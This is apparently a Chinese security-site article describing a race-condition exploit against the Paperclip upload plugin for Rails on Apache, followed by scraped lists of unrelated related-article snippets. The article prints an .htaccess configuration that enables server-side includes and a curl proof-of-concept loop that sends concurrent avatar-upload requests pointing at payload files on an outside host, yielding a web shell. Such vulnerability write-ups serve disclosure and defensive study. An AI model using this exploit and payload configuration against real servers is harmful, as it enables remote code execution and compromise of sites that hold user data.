通过多线程资源竞争的手段同时上传两个头像,就可以在Apache+Rails环境下实现远程代码执行。这并不是天方夜谭,同时我相信许多文件上传系统都会有这个漏洞……这是一个非常有趣的安全实验,一起来看看吧!

FreeBuf小科普:

Rails:某种基于Ruby语言的高效WEB框架。
Paperclip:Thoughtbot公司出品的Rails图片上传插件。
.htaccess:Apache服务器中的一个配置文件,笼统地说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。

实验背景

十个月以前,我写了一份Paperclip的漏洞报告(利用版本号不高于3.5.3),该漏洞虽然简单但威力不俗,我们可以通过伪造Content-Type头部内容,使用任意扩展进行文件上传。

但是Paperclip官方却只是认为这是小问题——他们只把这个漏洞当作了一个跨站脚本漏洞(XSS)。好吧,小问题!但据我的研究,其实它是一个高危代码执行漏洞!

我在这里需要讲一讲,在Apache+Rails环境下实现的这个有趣的攻击实例。

利用.htaccess作为shell

根据Rails框架的特性,.php或者.pl文件默认都不会被执行。不过大家应该知道,在默认情况下网站目录下的.htaccess文件可以覆盖Apache的全局设置,尤其在Apache 2.3.8或者更早的版本,服务器会遵循AllowOverride All的规则。

最初我试图创建一个自包含的.htaccess shell,但一直没起作用。Apache不会把SSI处理器应用到.htaccess文件上,而是运用到特定名字的.htaccess上(如下文中的1.htaccess):

<Files ~ "^\.ht">
 Require all granted
   # Order allow,deny
   # Allow from all
</Files>
Options +Includes
AddType text/html .htaccess
AddOutputFilter INCLUDES .htaccess
AddType text/html .shtml
AddOutputFilter INCLUDES .shtml
#<!--#printenv -->

这种配置意味着我们需要准备两个文件(用于伪造头像文件):.htaccess和1.htaccess,而且它们必须“并发上传”。

什么,你说这不可能?那欢迎你来了解下并发的技术。

原理分析

在实验的时候,我发现每个文件上传系统都做了单独的认证。比如当注册用户在上传头像时,都会经过认证。当上传结束,现有的头像就会被删除掉。但大多数的这类系统,并没有对此进行严格审查,这让同时上传多个头像成为可能。

这里假设我们当前的头像为0.jpg,而5个同时发出的请求包里所含的文件名分别为1.jpg – 5.jpg。

系统会把这些图片文件上传到在“/uploads/user/%id%”目录下,然后再删除当前头像0.jpg。当然,替换0.jpg的文件可能是它们中的任何一个,因为处理某个请求同时进行替换操作的几率是不定的,只有最后执行的请求会在数据库生效。

最终存放该用户头像的文件夹会同时存在1.jpg – 5.jpg,没有成为头像的那四个图片文件,没有被程序删除。这个漏洞如果被巧妙利用的话,可以将网站服务器的空间撑满:)

并发上传获得shell

1.准备一个带有.htaccess的payload的URL地址,或者干脆用我的:http://sakurity.com/.htaccess或者http://sakurity.com/NUM.htaccess
2.用顺手的工具,炮制几个同时发出的头像上传的请求包。如果你喜欢使用curl的话,借用以下代码会上传5个.htaccess(当然,需要的话还可以改上限)。

利用POC代码如下:

for i in {1..5};
do
curl 'http://lh:9292/users' -H <HEADERS> --data 'utf8=%E2%9C%93&_method=put&authenticity_token=TOKEN%3D&user%5Bavatar%5D=http%3A%2F%2Fsakurity.com%2F'"$i"'.htaccess' &
curl 'http://lh:9292/users' -H <HEADERS> --data 'utf8=%E2%9C%93&_method=put&authenticity_token=TOKEN%3D&user%5Bavatar%5D=http%3A%2F%2Fsakurity.com%2F.htaccess' &
done

上传的目录可能会变成下面这样。另外,不是所有的请求都会成功,我这里只创建了八个任务(puma -w 8)。

在这里,可以看到shell已经存在:

http://lh:9292/system/users/avatars/000/000/001/original/1.htaccess

利用多线程资源竞争技术上传shell的更多相关文章

  1. 从零开始的Spring Boot(3、Spring Boot静态资源和文件上传)

    Spring Boot静态资源和文件上传 写在前面 从零开始的Spring Boot(2.在Spring Boot中整合Servlet.Filter.Listener的方式) https://www. ...

  2. 记weblogic上传shell路径

    0x01 前言 自从上次在渗透过程中发现了波weblogic CVE-2020-2551漏洞后面又对其进行了复现,后边看到exp里有个上传webshell的功能,但是由于不清楚weblogic这个路径 ...

  3. ASP利用xhEditor编辑器实现图片上传的功能。

    本人这几天在做一个软件,无意中用到xhEditor在线编辑器,这个编辑器虽然看着比较简单,但功能非常强大,大家可以去官网上查看,废话不说了. 这篇文件主要是实现在ASP环境中利用xhEditor编辑器 ...

  4. windows下上传shell脚本不能运行—将dos模式修改为unix 文件格式

    windows下上传shell脚本至linux,其格式将为dos.dos模式的shell脚本将不能再linux下正确运行,需要修改文件模式为unix. 1 查看文件模式方法 linux服务器上,用vi ...

  5. 利用Selenium实现图片文件上传的两种方式介绍

    在实现UI自动化测试过程中,有一类需求是实现图片上传,这种需求根据开发的实现方式,UI的实现方式也会不同. 一.直接利用Selenium实现 这种方式是最简单的一种实现方式,但是依赖于开发的实现. 当 ...

  6. Tomcat 后台war部署上传shell

    tomcat的后台登录的两个目录为: /admin /manager/html 如果版本过高,只有采用弱密码的方式进后台: 有些tomcat采用默认的用户名和密码(用户名:admin,密码:空): 或 ...

  7. 利用jquery.form实现异步上传文件

    实现原理 目前需要在一个页面实现多个地方调用上传控件上传文件,并且必须是异步上传.思考半天,想到通过创建动态表单包裹上传文件域,利用jquery.form实现异步提交表单,从而达到异步上传的目的,在上 ...

  8. 利用http实现文件的上传和下载

    其他语言都比较方便,使用http上传.但是C++这样就差点,不过还好,Linux下有个curl的命令行工具,这是一个开源项目,底下有个子项目是libcurl,curl就是调用这个API实现的一系列ft ...

  9. windows下定时利用bat脚本实现ftp上传和下载

    前言: 工作中可能会遇到以下情况,利用windows作为中转,来实现两台linux服务器的文件传输. 实现步骤: 1.FTP上传和下载的bat脚本. 脚本分为两部分:可执行bat脚本和ftp命令文件: ...

随机推荐

  1. 关于GCC的理解——On the understanding of the GCC

    GCC 有超过100个的编译选项可用. 这些选项中的许多你可能永远都不会用到, 但一些主要的选项将会频繁用到. 很多的 GCC 选项包括一个以上的字符. 因此你必须为每个选项指定各自的连字符, 并且就 ...

  2. Hex编码 十六进制编码

    import java.io.UnsupportedEncodingException; import java.net.URLEncoder; /**  * HEX字符串与字节码(字符串)转换工具 ...

  3. <legend>标签

    健康信息身高: 体重: 如果表单周围没有边框,说明您的浏览器太老了. <!DOCTYPE HTML> <html> <body> <form> < ...

  4. PL/SQL 批量SQL

    批量SQL包括: FORALL语句 BULK COLLECT子句 FORALL语句 FORALL具有如下结构: FORALL loop_counter IN bounds_clause [SAVE E ...

  5. 关于EF查询表里的部分字段

    这个在项目中用到了,在网上找了一下才找到,留下来以后自已使用. List<UniversalInfo> list =new List<UniversalInfo>(); lis ...

  6. C++ hello world

    日文版本的vs 2008 , 在 < 新建 里面先创建一个项目 然后点击项目去创建一个C++的主启动文件 选择创建的文件类型 然后在文件里面写入代码 #include<iostream&g ...

  7. 嵌入式css样式,写在当前的文件中

    现在有一任务,把下面的“超酷的互联网”.“服务及时贴心”.“有趣易学”这三个短词文字字号修改为18px. 如果用内联式css样式的方法进行设置将是一件很头疼的事情(为每一个<span>标签 ...

  8. 关于ASP.NET Session State Server

    最近公司开发的一个网站因为访问量增大,需要添加多台Web Server来进行负载均衡. 但是在做负载均衡前需要将一些原来固定存储在单台机器上的东西分离出来,使之能单独存在在一个独立的机器上,其中就有S ...

  9. UILongPressGestureRecognizer的selector多次调用解决方法

    当你使用longPress gesture recognizer 时,你可能会发现调用了多次. UILongPressGestureRecognizer *longPress = [[UILongPr ...

  10. Asp.net 实现图片缩放 无水印(方法一)

    /// <summary> /// 图片缩放 无水印 /// </summary> /// <param name="sourceFile">图 ...